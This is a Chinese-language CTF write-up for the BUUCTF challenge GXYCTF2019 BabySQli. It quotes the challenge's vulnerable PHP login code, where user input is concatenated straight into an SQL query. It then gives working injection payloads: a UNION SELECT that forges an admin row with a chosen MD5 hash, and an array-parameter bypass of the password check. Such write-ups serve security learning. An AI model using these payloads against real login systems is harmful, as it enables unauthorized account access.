BUUCTF-[GXYCTF2019]BabySQli
这个直接写好像没有什么好的办法。(看有的wp没有说的很清楚,可能是我比较菜吧)
首先单引号包裹,union select可行,三列。(union select之后就没有什么比较好的信息了)
看给出的github源码search.php
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
拼接POST参数输入到sql语句
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
看这一段,首先第一行:
是从一个 SQL 查询结果中,按数字索引的方式,获取一行数据。
这个result即为$result = mysqli_query($con, $sql);
输入的sql语句满足
$arr[1] == "admin"
$arr[2] == md5($password)
即可(索引位置是0,1,2)
使用联合查询union select
对输入的password进行md5加密
name=1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

或者使用数组绕过也是可以的
name=1' union select 1,'admin',NULL#&pw[]=123456


浙公网安备 33010602011771号